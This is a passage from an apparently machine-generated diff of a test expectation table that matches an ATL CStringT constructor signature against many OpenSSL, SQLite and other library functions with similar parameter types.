(CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (char,int) | CStringT | CStringT | 0 | | atl.cpp:1049:5:1049:12 | CStringT | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | BN_security_bits | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (int,int) | | acttab_alloc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| 